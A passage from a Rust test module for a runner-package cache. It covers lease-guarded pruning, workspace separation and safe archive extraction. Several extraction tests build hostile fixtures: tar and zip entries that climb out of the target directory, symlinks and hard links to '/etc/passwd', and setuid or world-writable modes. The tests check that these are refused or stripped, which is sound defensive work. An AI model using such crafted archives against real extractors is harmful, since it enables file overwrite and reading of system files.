5515        let cache = harness.cache();
5516        cache.ensure_installed().await.expect("an install");
5517        cache
5518    }
5519
5520    #[tokio::test]
5521    async fn pruning_refuses_a_version_a_non_terminal_attempt_references() {
5522        let (harness, _, _) = linux_fixture();
5523        let cache = cache_with_one_entry(&harness).await;
5524        let held = version("2.330.0");
5525
5526        // Every non-terminal state, because "non-terminal" is `b1`'s definition
5527        // and this guard must agree with it rather than with a hand-picked
5528        // subset.
5529        for state in AttemptState::ALL.iter().filter(|s| !s.is_terminal()) {
5530            let attempt = attempt_in(&harness, 0x100, *state);
5531            cache.lease(&attempt, &held).expect("a lease");
5532
5533            let error = cache
5534                .prune(&held, std::slice::from_ref(&attempt))
5535                .unwrap_err();
5536
5537            assert!(
5538                matches!(error, PackageError::VersionInUse { .. }),
5539                "state `{state}` should hold the version, got {error:?}"
5540            );
5541            assert!(error.is_terminal());
5542            assert!(error.operator_action().is_some());
5543            assert!(
5544                cache.entry(&held).unwrap().is_some(),
5545                "a refused prune must leave the entry in place"
5546            );
5547            cache.release(attempt.id).expect("release");
5548        }
5549    }
5550
5551    #[tokio::test]
5552    async fn pruning_succeeds_once_the_holding_attempt_is_terminal() {
5553        let (harness, _, _) = linux_fixture();
5554        let cache = cache_with_one_entry(&harness).await;
5555        let held = version("2.330.0");
5556
5557        let live = attempt_in(&harness, 0x100, AttemptState::Busy);
5558        cache.lease(&live, &held).expect("a lease");
5559        assert_eq!(cache.holders(&held).unwrap(), vec![live.id]);
5560
5561        // Refused while it is running...
5562        assert!(cache.prune(&held, std::slice::from_ref(&live)).is_err());
5563        let root = cache
5564            .entry(&held)
5565            .unwrap()
5566            .expect("still there")
5567            .root()
5568            .to_path_buf();
5569        assert!(root.is_dir());
5570
5571        // ...and allowed the moment the same attempt is terminal.
5572        for state in AttemptState::ALL.iter().filter(|s| {
5573            matches!(
5574                s,
5575                AttemptState::Finished
5576                    | AttemptState::Failed
5577                    | AttemptState::Orphaned
5578                    | AttemptState::Cleaned
5579            )
5580        }) {
5581            let concluded = attempt_in(&harness, 0x100, *state);
5582            assert!(concluded.is_terminal());
5583            // Re-create the entry for each terminal state so each is a real
5584            // prune rather than a no-op on an already-empty cache.
5585            if cache.entry(&held).unwrap().is_none() {
5586                cache.ensure_installed().await.expect("re-install");
5587                cache.lease(&concluded, &held).expect("a lease");
5588            }
5589
5590            cache
5591                .prune(&held, std::slice::from_ref(&concluded))
5592                .unwrap_or_else(|error| panic!("state `{state}` should allow a prune: {error}"));
5593
5594            assert!(
5595                cache.entry(&held).unwrap().is_none(),
5596                "state `{state}` should have pruned the entry"
5597            );
5598            assert!(
5599                cache.holders(&held).unwrap().is_empty(),
5600                "a spent lease is released with the entry"
5601            );
5602        }
5603    }
5604
5605    #[tokio::test]
5606    async fn pruning_refuses_a_version_held_by_an_attempt_the_caller_did_not_report() {
5607        // `e1` documents that a launcher's newly created attempt may not be
5608        // visible to `attempts()` yet. Reading "absent" as "gone" would delete
5609        // a package out from under a starting runner, so the ambiguous case
5610        // fails closed.
5611        let (harness, _, _) = linux_fixture();
5612        let cache = cache_with_one_entry(&harness).await;
5613        let held = version("2.330.0");
5614        let attempt = attempt_in(&harness, 0x100, AttemptState::Starting);
5615        cache.lease(&attempt, &held).expect("a lease");
5616
5617        let error = cache.prune(&held, &[]).unwrap_err();
5618
5619        assert!(
5620            matches!(error, PackageError::VersionHeldByUnknownAttempt { .. }),
5621            "expected a fail-closed refusal, got {error:?}"
5622        );
5623        assert!(cache.entry(&held).unwrap().is_some());
5624        assert!(
5625            error
5626                .operator_action()
5627                .unwrap()
5628                .contains("release the lease"),
5629            "the refusal must name the way out, got `{}`",
5630            error.operator_action().unwrap()
5631        );
5632
5633        // And the named remedy works.
5634        cache.release(attempt.id).expect("release");
5635        cache.prune(&held, &[]).expect("a released version prunes");
5636        assert!(cache.entry(&held).unwrap().is_none());
5637    }
5638
5639    #[tokio::test]
5640    async fn a_corrupt_lease_refuses_a_prune_rather_than_vanishing() {
5641        // Everything else in this guard fails closed, including an attempt the
5642        // caller did not report. A lease file that cannot be parsed must not be
5643        // the one thing that fails open — "unreadable" is not "nothing holds
5644        // this version", and a lease is written non-atomically, so a crash
5645        // mid-write leaves exactly this shape.
5646        let (harness, _, _) = linux_fixture();
5647        let cache = cache_with_one_entry(&harness).await;
5648        let held = version("2.330.0");
5649        let live = attempt_in(&harness, 0x100, AttemptState::Busy);
5650        cache.lease(&live, &held).expect("a lease");
5651
5652        // Truncate it the way an interrupted write would.
5653        let lease_file = cache.lease_path(live.id);
5654        assert!(lease_file.is_file(), "the lease must exist to be corrupted");
5655        fs::write(&lease_file, b"{\"version\":\"2.33").expect("corrupt the lease");
5656
5657        let error = cache.prune(&held, &[]).unwrap_err();
5658
5659        assert!(
5660            matches!(error, PackageError::UnreadableLease { .. }),
5661            "expected a refusal naming the unreadable lease, got {error:?}"
5662        );
5663        assert!(error.is_terminal());
5664        assert!(error.operator_action().is_some());
5665        assert!(
5666            cache.entry(&held).unwrap().is_some(),
5667            "the package a live runner may be executing from must still be there"
5668        );
5669        // `holders` refuses for the same reason rather than answering "none".
5670        assert!(cache.holders(&held).is_err());
5671
5672        // And the named remedy works.
5673        fs::remove_file(&lease_file).unwrap();
5674        cache
5675            .prune(&held, &[])
5676            .expect("a resolved lease lets it proceed");
5677    }
5678
5679    #[test]
5680    fn a_lease_released_while_holders_is_listing_is_not_reported_as_corrupt() {
5681        // The three answers, including the race that cannot be produced from
5682        // outside `holders`: a lease file listed and then released before it is
5683        // read. Reporting that as corruption makes `prune` refuse for a reason
5684        // that is not true.
5685        let dir = tempfile::tempdir().expect("a temporary root");
5686        let held = version("2.330.0");
5687        let id = AttemptId::from_u128(0x100);
5688
5689        // Gone — released between the listing and the read.
5690        let missing = dir.path().join(format!("{id}.{LEASE_EXTENSION}"));
5691        assert!(!missing.exists());
5692        assert_eq!(
5693            holder_of(&missing, &held).expect("a released lease is not an error"),
5694            None
5695        );
5696
5697        // Present and readable, for this version and for another.
5698        fs::write(&missing, br#"{"version":"2.330.0"}"#).unwrap();
5699        assert_eq!(holder_of(&missing, &held).unwrap(), Some(id));
5700        assert_eq!(holder_of(&missing, &version("2.340.0")).unwrap(), None);
5701
5702        // Present and unintelligible — still fails closed.
5703        fs::write(&missing, b"{\"version\":\"2.33").unwrap();
5704        assert!(matches!(
5705            holder_of(&missing, &held),
5706            Err(PackageError::UnreadableLease { .. })
5707        ));
5708
5709        // Present, readable, but not named after an attempt.
5710        let anonymous = dir.path().join(format!("not-a-uuid.{LEASE_EXTENSION}"));
5711        fs::write(&anonymous, br#"{"version":"2.330.0"}"#).unwrap();
5712        assert!(matches!(
5713            holder_of(&anonymous, &held),
5714            Err(PackageError::UnreadableLease { .. })
5715        ));
5716    }
5717
5718    #[tokio::test]
5719    async fn a_lease_file_that_is_not_named_after_an_attempt_refuses_a_prune() {
5720        let (harness, _, _) = linux_fixture();
5721        let cache = cache_with_one_entry(&harness).await;
5722        let held = version("2.330.0");
5723        let strays = cache.root().join(LEASES_DIR);
5724        fs::create_dir_all(&strays).unwrap();
5725        let stray = strays.join(format!("not-a-uuid.{LEASE_EXTENSION}"));
5726        fs::write(&stray, b"{\"version\":\"2.330.0\"}").unwrap();
5727
5728        let error = cache.prune(&held, &[]).unwrap_err();
5729
5730        assert!(
5731            matches!(error, PackageError::UnreadableLease { .. }),
5732            "a lease whose holder cannot be identified must refuse, got {error:?}"
5733        );
5734        assert!(cache.entry(&held).unwrap().is_some());
5735    }
5736
5737    #[tokio::test]
5738    async fn an_unreferenced_version_prunes_with_no_ceremony() {
5739        let (harness, _, _) = linux_fixture();
5740        let cache = cache_with_one_entry(&harness).await;
5741        let held = version("2.330.0");
5742
5743        cache.prune(&held, &[]).expect("nothing references it");
5744
5745        assert!(cache.entry(&held).unwrap().is_none());
5746        assert!(cache.installed().unwrap().is_empty());
5747    }
5748
5749    #[tokio::test]
5750    async fn one_attempts_lease_does_not_pin_another_version() {
5751        let (harness, _, _) = linux_fixture();
5752        let cache = cache_with_one_entry(&harness).await;
5753
5754        // A second version, so there are two entries and one lease.
5755        let newer = tar_gz_bytes(&[("run.sh", "newer\n")]);
5756        harness.catalog.publish(vec![published(
5757            "linux",
5758            "x64",
5759            "2.340.0",
5760            ".tar.gz",
5761            Some(&hex_digest(&newer)),
5762        )]);
5763        harness.fetcher.serve(newer);
5764        harness
5765            .clock
5766            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
5767        cache.ensure_installed().await.expect("the newer install");
5768        assert_eq!(cache.installed().unwrap().len(), 2);
5769
5770        let live = attempt_in(&harness, 0x100, AttemptState::Busy);
5771        cache.lease(&live, &version("2.340.0")).expect("a lease");
5772
5773        // The held one is refused, the unheld one is not.
5774        assert!(
5775            cache
5776                .prune(&version("2.340.0"), std::slice::from_ref(&live))
5777                .is_err()
5778        );
5779        cache
5780            .prune(&version("2.330.0"), &[live])
5781            .expect("the unheld version prunes");
5782        assert_eq!(cache.installed().unwrap().len(), 1);
5783    }
5784
5785    #[tokio::test]
5786    async fn a_lease_outlives_the_cache_object_that_took_it() {
5787        // The guard is only meaningful if it survives a restart, so the lease
5788        // is a file rather than a field.
5789        let (harness, _, _) = linux_fixture();
5790        let held = version("2.330.0");
5791        let live = attempt_in(&harness, 0x100, AttemptState::Busy);
5792        {
5793            let cache = cache_with_one_entry(&harness).await;
5794            cache.lease(&live, &held).expect("a lease");
5795        }
5796
5797        let reopened = harness.cache();
5798        assert_eq!(reopened.holders(&held).unwrap(), vec![live.id]);
5799        assert!(reopened.prune(&held, &[live]).is_err());
5800    }
5801
5802    #[tokio::test]
5803    async fn releasing_a_lease_that_was_never_taken_is_not_an_error() {
5804        let (harness, _, _) = linux_fixture();
5805        let cache = cache_with_one_entry(&harness).await;
5806        cache
5807            .release(AttemptId::from_u128(0xdead))
5808            .expect("a cleanup path may release unconditionally");
5809    }
5810
5811    #[tokio::test]
5812    async fn leasing_a_version_that_is_not_installed_is_refused() {
5813        let (harness, _, _) = linux_fixture();
5814        let cache = cache_with_one_entry(&harness).await;
5815        let attempt = attempt_in(&harness, 0x100, AttemptState::Busy);
5816
5817        let error = cache.lease(&attempt, &version("9.9.9")).unwrap_err();
5818
5819        assert!(matches!(error, PackageError::NotInstalled { .. }));
5820    }
5821
5822    // =====================================================================
5823    // DoD 7 — job workspaces are never stored inside the package cache.
5824    // =====================================================================
5825
5826    #[tokio::test]
5827    async fn a_lease_refuses_a_workspace_inside_the_cache_and_accepts_one_outside_it() {
5828        // Both directions in one test, deliberately.
5829        //
5830        // Split across two tests, the refusal half stayed green through a
5831        // mutation that made the containment check answer `true` for
5832        // everything — a lease that refuses every workspace satisfies "inside
5833        // is refused" perfectly. The acceptance half is what makes the refusal
5834        // mean something, and a reviewer reading one test cannot miss it the
5835        // way a reviewer reading two can.
5836        let (harness, _, _) = linux_fixture();
5837        let cache = cache_with_one_entry(&harness).await;
5838        let held = version("2.330.0");
5839
5840        // Refused: the mistake this guard exists to catch is `e3` deriving a
5841        // runtime path from the cache entry it copied from.
5842        for inside in [
5843            cache.root().join("2.330.0").join("_work"),
5844            cache.root().join("workspaces").join("attempt-1"),
5845            cache.root().to_path_buf(),
5846        ] {
5847            let attempt = fixtures::attempt()
5848                .id(AttemptId::from_u128(0x100))
5849                .state(AttemptState::Busy)
5850                .runtime_path(inside.to_string_lossy().to_string())
5851                .build();
5852
5853            let error = cache.lease(&attempt, &held).unwrap_err();
5854
5855            assert!(
5856                matches!(error, PackageError::WorkspaceInsideCache { .. }),
5857                "`{}` is inside the cache and must be refused, got {error:?}",
5858                inside.display()
5859            );
5860            assert!(
5861                cache.holders(&held).unwrap().is_empty(),
5862                "a refused lease must not have been written"
5863            );
5864        }
5865
5866        // Accepted: a workspace where `d1` actually puts one.
5867        let proper = attempt_in(&harness, 0x100, AttemptState::Busy);
5868        cache
5869            .lease(&proper, &held)
5870            .expect("a runtime under the runtime directory is where it belongs");
5871        assert_eq!(cache.holders(&held).unwrap(), vec![proper.id]);
5872    }
5873
5874    #[test]
5875    fn the_runtime_directory_and_the_package_cache_are_disjoint_roots() {
5876        // Structural, and it holds for a layout nobody has created yet: `d1`
5877        // puts workspaces under `runtime/` and the retained package cache under
5878        // `state/`, so neither can contain the other.
5879        let dir = tempfile::tempdir().expect("a temporary root");
5880        let paths = AppPaths::rooted_at(dir.path());
5881        let cache_root = paths.state_dir().join(PACKAGES_DIR);
5882        let workspaces = paths.runtime_dir();
5883
5884        assert!(
5885            !is_inside(&cache_root, workspaces),
5886            "job workspaces must not live inside the package cache"
5887        );
5888        assert!(
5889            !is_inside(workspaces, &cache_root),
5890            "the package cache must not live inside the workspace root"
5891        );
5892        // And a concrete per-attempt workspace, the shape `e3` will build.
5893        let attempt_workspace = workspaces
5894            .join(fixtures::POLICY_ID.to_string())
5895            .join(fixtures::ATTEMPT_ID.to_string());
5896        assert!(!is_inside(&cache_root, &attempt_workspace));
5897    }
5898
5899    #[tokio::test]
5900    async fn installing_writes_nothing_under_the_runtime_directory() {
5901        let (harness, _, _) = linux_fixture();
5902        let cache = cache_with_one_entry(&harness).await;
5903
5904        assert!(
5905            all_paths(harness.paths.runtime_dir()).is_empty(),
5906            "the package cache must not create job workspaces: {:?}",
5907            all_paths(harness.paths.runtime_dir())
5908        );
5909        // Everything it did write is under the cache root.
5910        let written = all_paths(cache.root());
5911        assert!(
5912            written.iter().any(|path| path.starts_with("2.330.0")),
5913            "the entry should be there: {written:?}"
5914        );
5915    }
5916
5917    #[test]
5918    fn the_tool_cache_is_retained_beside_the_binaries_not_inside_an_entry() {
5919        // "Runner binaries and approved tool caches are retained separately
5920        // from job workspaces" — separately from workspaces, and separately
5921        // from the immutable entries, because a tool cache is written to.
5922        let dir = tempfile::tempdir().expect("a temporary root");
5923        let paths = AppPaths::rooted_at(dir.path());
5924        let cache = PackageCache::new(
5925            &paths,
5926            Os::Linux,
5927            Arch::X64,
5928            CachePorts {
5929                catalog: FakeCatalog::with(Vec::new()),
5930                fetcher: FakeFetcher::with(Vec::new()),
5931                backoff: Arc::new(NoBackoff),
5932                clock: Arc::new(FakeClock::default()),
5933            },
5934        );
5935
5936        assert!(
5937            !is_inside(cache.root(), cache.tool_cache_dir()),
5938            "a written-to tool cache must not sit inside the immutable entries"
5939        );
5940        assert!(
5941            !is_inside(paths.runtime_dir(), cache.tool_cache_dir()),
5942            "the tool cache is retained, not disposable with a workspace"
5943        );
5944        assert!(is_inside(paths.state_dir(), cache.tool_cache_dir()));
5945    }
5946
5947    // =====================================================================
5948    // Extraction
5949    // =====================================================================
5950
5951    #[tokio::test]
5952    async fn both_published_archive_formats_extract_on_every_platform() {
5953        for (extension, bytes) in [
5954            (".zip", zip_bytes(&package_entries())),
5955            (".tar.gz", tar_gz_bytes(&package_entries())),
5956        ] {
5957            let digest = hex_digest(&bytes);
5958            let harness = Harness::new(
5959                vec![published(
5960                    "linux",
5961                    "x64",
5962                    "2.330.0",
5963                    extension,
5964                    Some(&digest),
5965                )],
5966                bytes,
5967            );
5968
5969            let installed = harness
5970                .cache()
5971                .ensure_installed()
5972                .await
5973                .unwrap_or_else(|error| panic!("{extension} should extract: {error}"));
5974
5975            assert_eq!(
5976                fs::read_to_string(installed.root().join("run.sh")).unwrap(),
5977                "#!/bin/sh\necho runner\n"
5978            );
5979            assert_eq!(
5980                fs::read_to_string(installed.root().join("bin/Runner.Listener")).unwrap(),
5981                "listener\n"
5982            );
5983        }
5984    }
5985
5986    #[test]
5987    fn an_archive_entry_that_escapes_is_refused_and_writes_nothing_outside_the_target() {
5988        // This asserts a *property* — nothing lands outside the extraction
5989        // directory — and that property is held up by two independent layers:
5990        // this module's `resolve_inside`, and the archive crates' own guards
5991        // (`ZipFile::enclosed_name` answering `None`, `Entry::unpack_in`
5992        // answering `false`). Gutting either layer alone leaves the property
5993        // standing; removing both turns this red.
5994        //
5995        // # What that means for the call sites, stated rather than glossed
5996        //
5997        // `resolve_inside` itself is pinned by
5998        // `an_archive_entry_may_not_resolve_outside_the_directory_it_is_
5999        // extracted_into`, which reds when the function is gutted.
6000        //
6001        // # The tar call site is pinned by behaviour, and the input is below
6002        //
6003        // An earlier version of this comment claimed no input distinguishes
6004        // this module's layer from the archive crates' layers. That is false,
6005        // and the distinguishing input is the `"tar.gz absolute"` case in this
6006        // very table. Measured against tar 0.4.46:
6007        //
6008        // ```text
6009        // entry  /tmp/escaped.txt   resolve_inside refuses   unpack_in -> Ok(true)
6010        // entry    ../escaped.txt   resolve_inside refuses   unpack_in -> Ok(false)
6011        // ```
6012        //
6013        // `tar` documents it — "Leading `/`s are trimmed" — so for an absolute
6014        // entry it strips the root and unpacks happily into `into/tmp/...`.
6015        // `unpack_in` alone therefore *admits* that entry; `resolve_inside` is
6016        // the only thing that refuses it. Replacing the call with a plain
6017        // `into.join(...)` reds this test.
6018        //
6019        // The **zip** call site is the one that really is compile-pinned only:
6020        // `enclosed_name` already answers `None` for absolute paths, drive
6021        // prefixes and `..`, so no input separates the two layers there. Its
6022        // value is insurance against a dependency relaxing its own sanitising,
6023        // not coverage of a reachable hole.
6024        let dir = tempfile::tempdir().expect("a temporary root");
6025        let target = dir.path().join("target");
6026        let outside = dir.path().join("escaped.txt");
6027
6028        // Negative control: a legitimate archive really does extract here, so a
6029        // refusal below is a refusal of the escape rather than of everything.
6030        let good = dir.path().join("good.archive");
6031        fs::write(&good, tar_gz_bytes(&package_entries())).unwrap();
6032        extract(&fs::read(&good).unwrap(), ArchiveKind::TarGz, &target)
6033            .expect("a legitimate archive extracts");
6034        assert!(target.join("run.sh").is_file());
6035        remove_dir_all::remove_dir_all(&target).unwrap();
6036
6037        for (label, bytes, kind) in [
6038            (
6039                "tar.gz",
6040                tar_gz_with_raw_name("../escaped.txt", "owned"),
6041                ArchiveKind::TarGz,
6042            ),
6043            (
6044                "tar.gz absolute",
6045                tar_gz_with_raw_name("/tmp/escaped.txt", "owned"),
6046                ArchiveKind::TarGz,
6047            ),
6048            (
6049                "zip",
6050                zip_bytes(&[("../escaped.txt", "owned")]),
6051                ArchiveKind::Zip,
6052            ),
6053        ] {
6054            let archive = dir.path().join(format!("{label}.archive"));
6055            fs::write(&archive, &bytes).unwrap();
6056            let _ = remove_dir_all::remove_dir_all(&target);
6057
6058            let result = extract(&fs::read(&archive).unwrap(), kind, &target);
6059
6060            assert!(
6061                !outside.exists(),
6062                "{label}: an entry escaped the extraction directory"
6063            );
6064            let error = result.expect_err(&format!("{label}: the escape must be refused"));
6065            assert!(
6066                matches!(error, PackageError::UnsafeArchiveEntry { .. }),
6067                "{label}: expected an unsafe-entry refusal, got {error:?}"
6068            );
6069            assert!(error.is_terminal());
6070            assert_eq!(
6071                error.failure_reason(),
6072                Some(FailureReason::RunnerPackageUnverified)
6073            );
6074        }
6075    }
6076
6077    #[test]
6078    fn the_mode_policy_drops_every_bit_that_is_not_an_executable_bit() {
6079        // The policy itself, asserted on every CI leg including the one whose
6080        // filesystem has no mode bits — the `#[cfg(unix)]` tests below prove
6081        // the extraction paths reach this function, and this proves what the
6082        // function decides.
6083        for (published, expected, what) in [
6084            (0o4755, 0o700, "setuid is dropped"),
6085            (0o2755, 0o700, "setgid is dropped"),
6086            (0o1777, 0o700, "the sticky bit is dropped"),
6087            (
6088                0o7777,
6089                0o700,
6090                "all three, plus group and other, are dropped",
6091            ),
6092            (0o777, 0o700, "group and other lose everything"),
6093            (0o666, 0o600, "a non-executable file stays non-executable"),
6094            (0o644, 0o600, "the ordinary case"),
6095            (0o755, 0o700, "an executable stays executable"),
6096            (0o000, 0o600, "the owner can always read it back"),
6097        ] {
6098            assert_eq!(
6099                policy_mode(published),
6100                expected,
6101                "{what}: policy_mode({published:o}) should be {expected:o}"
6102            );
6103        }
6104        // Stated as properties too, so a policy change has to be deliberate.
6105        for published in 0..=0o7777_u32 {
6106            let applied = policy_mode(published);
6107            assert_eq!(applied & 0o7000, 0, "no setuid, setgid or sticky ever");
6108            assert_eq!(applied & 0o077, 0, "nothing for group or other ever");
6109            assert_eq!(
6110                applied & 0o100 != 0,
6111                published & 0o111 != 0,
6112                "executability is the only thing carried through, and only for \
6113                 the owner (published {published:o} -> {applied:o})"
6114            );
6115        }
6116    }
6117
6118    /// `.tar.gz` is the format for Linux and macOS, so this is where modes and
6119    /// links actually reach a filesystem that has them.
6120    #[cfg(unix)]
6121    #[test]
6122    fn a_published_archives_setuid_and_group_bits_are_never_applied_to_an_extracted_file() {
6123        use std::os::unix::fs::PermissionsExt as _;
6124
6125        let dir = tempfile::tempdir().expect("a temporary root");
6126        // setuid + setgid + sticky, world-writable, and executable: everything
6127        // a hostile or merely careless publisher could put in a header.
6128        let bytes = tar_gz_special(
6129            "run.sh",
6130            "#!/bin/sh\n",
6131            0o7777,
6132            tar::EntryType::Regular,
6133            None,
6134        );
6135        // The fixture really carries them. Without this the assertions below
6136        // would hold over an archive that never had a setuid bit to drop.
6137        let (mode, kind, _) = first_entry_header(&bytes);
6138        assert_eq!(mode, 0o7777, "the fixture must carry the full mode");
6139        assert_eq!(kind, tar::EntryType::Regular);
6140
6141        let archive = dir.path().join("p.archive");
6142        fs::write(&archive, &bytes).unwrap();
6143        let target = dir.path().join("target");
6144        extract(&fs::read(&archive).unwrap(), ArchiveKind::TarGz, &target).expect("extraction");
6145
6146        let applied = fs::metadata(target.join("run.sh"))
6147            .unwrap()
6148            .permissions()
6149            .mode()
6150            & 0o7777;
6151        assert_eq!(
6152            applied & 0o4000,
6153            0,
6154            "setuid must never survive extraction (mode {applied:o})"
6155        );
6156        assert_eq!(
6157            applied & 0o2000,
6158            0,
6159            "setgid must never survive extraction (mode {applied:o})"
6160        );
6161        assert_eq!(
6162            applied & 0o022,
6163            0,
6164            "group and world write must never survive (mode {applied:o})"
6165        );
6166        // The policy `extract_zip` documents, applied identically here:
6167        // executable bits kept, owner read/write, nothing else.
6168        assert_eq!(
6169            applied, 0o700,
6170            "the tar path must apply the same mode policy as the zip path"
6171        );
6172    }
6173
6174    #[cfg(unix)]
6175    #[test]
6176    fn an_extracted_directorys_mode_is_owner_only_and_still_usable() {
6177        use std::os::unix::fs::PermissionsExt as _;
6178
6179        let dir = tempfile::tempdir().expect("a temporary root");
6180        let bytes = tar_gz_special("bin/", "", 0o2777, tar::EntryType::Directory, None);
6181        let archive = dir.path().join("p.archive");
6182        fs::write(&archive, &bytes).unwrap();
6183        let target = dir.path().join("target");
6184
6185        extract(&fs::read(&archive).unwrap(), ArchiveKind::TarGz, &target).expect("extraction");
6186
6187        let applied = fs::metadata(target.join("bin"))
6188            .unwrap()
6189            .permissions()
6190            .mode()
6191            & 0o7777;
6192        assert_eq!(
6193            applied & 0o2000,
6194            0,
6195            "setgid must not survive on a directory"
6196        );
6197        assert_eq!(applied & 0o077, 0, "group and other get nothing");
6198        assert!(
6199            applied & 0o300 == 0o300,
6200            "the owner must still be able to write and traverse it (mode {applied:o})"
6201        );
6202    }
6203
6204    #[test]
6205    fn a_link_whose_target_escapes_the_package_is_refused() {
6206        // Refused before any filesystem link call, so this runs on every CI
6207        // leg — creating a symlink on Windows needs a privilege the agent
6208        // should not want, and this test never needs one.
6209        let dir = tempfile::tempdir().expect("a temporary root");
6210        for (label, bytes) in [
6211            (
6212                "symlink to an absolute path",
6213                tar_gz_special(
6214                    "link",
6215                    "",
6216                    0o777,
6217                    tar::EntryType::Symlink,
6218                    Some("/etc/passwd"),
6219                ),
6220            ),
6221            (
6222                "symlink climbing out",
6223                tar_gz_special(
6224                    "link",
6225                    "",
6226                    0o777,
6227                    tar::EntryType::Symlink,
6228                    Some("../../escape"),
6229                ),
6230            ),
6231            (
6232                "symlink climbing out from a subdirectory",
6233                tar_gz_special(
6234                    "bin/link",
6235                    "",
6236                    0o777,
6237                    tar::EntryType::Symlink,
6238                    Some("../../escape"),
6239                ),
6240            ),
6241            (
6242                "hard link",
6243                tar_gz_special("link", "", 0o644, tar::EntryType::Link, Some("/etc/passwd")),
6244            ),
6245        ] {
6246            // The fixture really is a link with that target.
6247            let (_, kind, link) = first_entry_header(&bytes);
6248            assert!(
6249                matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link),
6250                "{label}: the fixture must be a link entry"
6251            );
6252            assert!(link.is_some(), "{label}: the fixture must carry a target");
6253
6254            let archive = dir.path().join(format!("{label}.archive"));
6255            fs::write(&archive, &bytes).unwrap();
6256            let target = dir.path().join(label);
6257
6258            let error = extract(&fs::read(&archive).unwrap(), ArchiveKind::TarGz, &target)
6259                .expect_err(&format!("{label} must be refused"));
6260
6261            assert!(
6262                matches!(error, PackageError::UnsafeArchiveEntry { .. }),
6263                "{label}: expected an unsafe-entry refusal, got {error:?}"
6264            );
6265            assert!(error.is_terminal());
6266            assert_eq!(
6267                error.failure_reason(),
6268                Some(FailureReason::RunnerPackageUnverified)
6269            );
6270            assert!(
6271                !target.join("link").exists(),
6272                "{label}: nothing may have been created"
6273            );
6274        }
6275    }
6276
6277    /// The negative control for the refusal above: a link that stays inside the
6278    /// package is legitimate and must still extract.
6279    ///
6280    /// Unix-only because creating the symlink is the point, and Windows needs a
6281    /// privilege for that. The *refusal* path above is cross-platform.
6282    #[cfg(unix)]
6283    #[test]
6284    fn a_link_that_stays_inside_the_package_is_extracted() {
6285        let dir = tempfile::tempdir().expect("a temporary root");
6286        let bytes = tar_gz_special(
6287            "bin/current",
6288            "",
6289            0o777,
6290            tar::EntryType::Symlink,
6291            Some("../run.sh"),
6292        );
6293        let archive = dir.path().join("p.archive");
6294        fs::write(&archive, &bytes).unwrap();
6295        let target = dir.path().join("target");
6296
6297        extract(&fs::read(&archive).unwrap(), ArchiveKind::TarGz, &target)
6298            .expect("a link inside the package is legitimate");
6299
6300        assert!(
6301            fs::symlink_metadata(target.join("bin/current"))
6302                .unwrap()
6303                .is_symlink(),
6304            "the link should have been created"
6305        );
6306    }
6307
6308    #[test]
6309    fn an_entry_that_names_the_extraction_root_resolves_to_nothing() {
6310        // The cross-platform half of the root-entry fix. The end-to-end test
6311        // below can only see the consequence on a filesystem with mode bits,
6312        // so the decision itself is asserted here, where every CI leg runs it.
6313        let root = Path::new("/cache/staging/root");
6314        for names_the_root in [".", "./", "./."] {
6315            assert_eq!(
6316                entry_destination(root, Path::new(names_the_root), names_the_root).unwrap(),
6317                None,
6318                "`{names_the_root}` names the extraction root and must not resolve to it"
6319            );
6320        }
6321        // And an ordinary entry still resolves normally, so the check above is
6322        // not simply swallowing everything.
6323        assert_eq!(
6324            entry_destination(root, Path::new("bin/run.sh"), "bin/run.sh").unwrap(),
6325            Some(root.join("bin").join("run.sh"))
6326        );
6327        assert_eq!(
6328            entry_destination(root, Path::new("./bin/run.sh"), "./bin/run.sh").unwrap(),
6329            Some(root.join("bin").join("run.sh"))
6330        );
6331        // An escape is still an escape rather than a skipped root entry.
6332        assert!(entry_destination(root, Path::new("../x"), "../x").is_err());
6333    }
6334
6335    #[test]
6336    fn a_directory_always_gets_a_traversable_owner_only_mode() {
6337        // The directory rule, asserted where every CI leg runs it. The zip path
6338        // used to skip the policy for directories entirely, and `policy_mode`
6339        // alone would have made a `0o644` directory undescendable.
6340        for published in [Some(0o2777), Some(0o755), Some(0o644), Some(0o000), None] {
6341            assert_eq!(
6342                intended_mode(true, published),
6343                Some(0o700),
6344                "a directory published as {published:?} must end up traversable and owner-only"
6345            );
6346        }
6347        // Files keep the file rule, including "no published mode, leave it".
6348        assert_eq!(intended_mode(false, Some(0o4755)), Some(0o700));
6349        assert_eq!(intended_mode(false, Some(0o644)), Some(0o600));
6350        assert_eq!(
6351            intended_mode(false, None),
6352            None,
6353            "a zip written on Windows publishes no mode, and there is nothing to apply"
6354        );
6355    }
6356
6357    #[cfg(unix)]
6358    #[test]
6359    fn a_zip_directory_entry_gets_the_same_mode_policy_as_a_tar_one() {
6360        use std::os::unix::fs::PermissionsExt as _;
6361
6362        // The zip path returned early for directories and never reached the
6363        // policy, so a `.zip` published with a world-writable or setgid
6364        // directory got it applied verbatim by `create_dir_all` + the archive.
6365        // Both formats extract on every platform, so this is not hypothetical
6366        // just because Windows packages are the zips.
6367        let dir = tempfile::tempdir().expect("a temporary root");
6368        let bytes = zip_bytes_with_modes(&[
6369            ("bin/", "", Some(0o2777)),
6370            ("bin/run.sh", "#!/bin/sh\n", Some(0o4755)),
6371        ]);
6372        let archive = dir.path().join("p.archive");
6373        fs::write(&archive, &bytes).unwrap();
6374        let target = dir.path().join("target");
6375
6376        extract(&fs::read(&archive).unwrap(), ArchiveKind::Zip, &target).expect("extraction");
6377
6378        let dir_mode = fs::metadata(target.join("bin"))
6379            .unwrap()
6380            .permissions()
6381            .mode()
6382            & 0o7777;
6383        assert_eq!(
6384            dir_mode, 0o700,
6385            "a zip directory must get the owner-only policy (mode {dir_mode:o})"
6386        );
6387        let file_mode = fs::metadata(target.join("bin/run.sh"))
6388            .unwrap()
6389            .permissions()
6390            .mode()
6391            & 0o7777;
6392        assert_eq!(
6393            file_mode, 0o700,
6394            "a zip file must get the owner-only policy (mode {file_mode:o})"
6395        );
6396    }
6397
6398    #[cfg(unix)]
6399    #[test]
6400    fn a_directory_entry_with_no_executable_bit_is_still_traversable() {
6401        use std::os::unix::fs::PermissionsExt as _;
6402
6403        // `policy_mode` alone would turn a `0o644` directory into `0o600`,
6404        // which the agent could not then descend into. A directory's
6405        // traversability is not the archive's to withhold.
6406        let dir = tempfile::tempdir().expect("a temporary root");
6407        for (label, bytes, kind) in [
6408            (
6409                "tar.gz",
6410                tar_gz_special("bin/", "", 0o644, tar::EntryType::Directory, None),
6411                ArchiveKind::TarGz,
6412            ),
6413            (
6414                "zip",
